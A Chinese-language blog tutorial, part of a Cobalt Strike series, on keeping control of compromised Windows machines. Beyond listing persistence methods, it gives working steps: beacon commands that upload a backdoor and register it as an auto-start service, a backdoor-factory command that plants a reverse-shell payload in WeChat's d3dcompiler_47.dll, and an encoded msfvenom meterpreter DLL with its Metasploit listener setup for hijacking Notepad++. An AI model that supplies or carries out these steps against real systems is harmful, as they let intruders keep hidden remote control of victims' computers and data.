Cobaltstrike系列教程(十三)控制持久化

0x00-前文

有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660,需要代码审计、渗透测试、红蓝对抗网络安全相关业务可以看置顶博文

2000人网络安全交流群,欢迎大佬们来玩
群号820783253

Cobaltstrike系列教程(一)简介与安装
https://bbs.ichunqiu.com/thread-52937-1-1.html
Cobaltstrike系列教程(二)Listner与Payload生成
https://bbs.ichunqiu.com/thread-52982-1-1.html
Cobaltstrike系列教程(三)beacon详解
https://bbs.ichunqiu.com/thread-52994-1-1.html
Cobaltstrike系列教程(四)菜单栏与视图
https://bbs.ichunqiu.com/thread-52997-1-1.html
Cobaltstrike系列教程(五)凭据导出
https://bbs.ichunqiu.com/thread-53001-1-1.html
Cobaltstrike系列教程(六)文件/进程管理与键盘记录
https://bbs.ichunqiu.com/thread-53003-1-1.html
Cobaltstrike系列教程(七)端口扫描与Net View
https://bbs.ichunqiu.com/thread-53012-1-1.html
Cobaltstrike系列教程(八)截图与浏览器代理
https://bbs.ichunqiu.com/thread-53013-1-1.html
Cobaltstrike系列教程(九)内置Socks与神器EW
https://bbs.ichunqiu.com/thread-53014-1-1.html
Cobaltstrike系列教程(十)安装扩展
https://bbs.ichunqiu.com/thread-53015-1-1.html
Cobaltstrike系列教程(十一)提权与横向移动
https://bbs.ichunqiu.com/thread-53043-1-1.html
Cobaltstrike系列教程(十二)CS与MSF,Armitage,Empire会话互转
https://bbs.ichunqiu.com/thread-53044-1-1.html

0x001-右键菜单实现控制持久化

在windows中,拿到目标主机权限后,,维持权限是必不可少的工作。
目前常见的手法有:

1.注册表
2.启动项
3.计时任务
4.设置服务
5.shift后门
6.dll劫持(白加黑)
7.利用其他安装的软件

在我之前给出的插件中,已经包含了控制持久化的插件
如图,里面包含了很多控制持久化的方法,可自动执行
e8U66e.png

前几个Persist(※)貌似都是劫持关键程序的dll实现控制持久化

Sticky Keys是大家熟悉的粘滞键后门(shift后门,摁五下shift弹出cmd窗口)

Scheduled Job方法为写计划任务维持权限

利用这个菜单实现控制持久化虽然方便,但是存在一定的局限,也有很多问题,下面简单讲两种个人常用的维持权限的方法

0x002-Windows Service维持权限

在cobaltstrike中生成一个Windows service服务后门
e8UWTI.png

导出时后门名为beacon.exe
e8UylD.png
随后在beacon中执行如下命令

beacon> cd C:\WINDOWS\Temp\
[] cd C:\WINDOWS\Temp\
[+] host called home, sent: 24 bytes
 

beacon> upload /root/beacon.exe
[] Tasked beacon to upload /root/beacon.exe as beacon.exe
[+] host called home, sent: 309782 bytes
beacon> shell sc create "thisisserver" binpath= "C:\WINDOWS\Temp\beacon.exe"
[] Tasked beacon to run: sc create "thisisserver" binpath= "C:\WINDOWS\Temp\beacon.exe"
[+] host called home, sent: 93 bytes
[+] received output:
[SC] CreateService 成功

beacon> shell sc description "thisisserver" "description"
[] Tasked beacon to run: sc description "thisisserver" "description"
[+] host called home, sent: 74 bytes
[+] received output:
[SC] ChangeServiceConfig2 成功

beacon> shell sc config "thisisserver" start= auto
[] Tasked beacon to run: sc config "thisisserver" start= auto
[+] host called home, sent: 67 bytes
[+] received output:
[SC] ChangeServiceConfig 成功


beacon> shell net start "thisisserver"
[] Tasked beacon to run: net start "thisisserver"
[+] host called home, sent: 55 bytes*

这样的话目标机每次开机,都会运行你的beacon.exe后门,实现控制的持久化。
当然,如果目标主机存在杀毒全家桶的话,那么对你后门的免杀是有很高要求的,至于cobaltstrike后门的免杀,打算过一段时间做个番外篇讲,老铁们可以关注下~

0x003-dll劫持(白加黑)维持权限

Dll劫持的话,主要是劫持那些经常运行程序的dll,这样程序一运行,就会加载我们的恶意dll。实现控制持久化

我们来看一个例子,劫持微信的dll

首先使用Process Explore查看微信调用的文件
e8U0Fx.png

本次测试,是劫持的他的d3dcompiler_47.dll
使用backdoor factory制作dll后门(保存在目录的backdoored文件夹下)
链接:https://github.com/secretsquirrel/the-backdoor-factory
命令如下

python backdoor.py -f d3dcompiler_47.dll -s reverse_shell_tcp_inline -P 6666 -H 8.8.8.8(你的teamserver)

e8UtOJ.png
把这个加了后门的dll放到微信程序的文件夹下
用cobaltstrike配置一个tcp协议监听6666端口的Listener,或者nc监听6666端口,目标机运行微信时,即可收到反弹的shell

再看一个,劫持notepad的dll:

我们首先打开Kali,用Metasploit或者cobaltstrike来生成一个dll木马
Metasploit生成dll后门命令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.199.107 lport=6666 -f dll > ./Msimg32.dll

Cobaltstrike生成dll后门方法
e8UR0A.png

然后配置6666端口的监听
Metasploit:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.199.107
set lport 6666
exploit

Cobaltstrike:
请看教程第二节

然后我们把dll放到notepad文件夹中,运行notpad++,即可返回会话。

e8UsSO.png

posted @ 2021-12-20 21:48  J0o1ey  阅读(808)  评论(0编辑  收藏  举报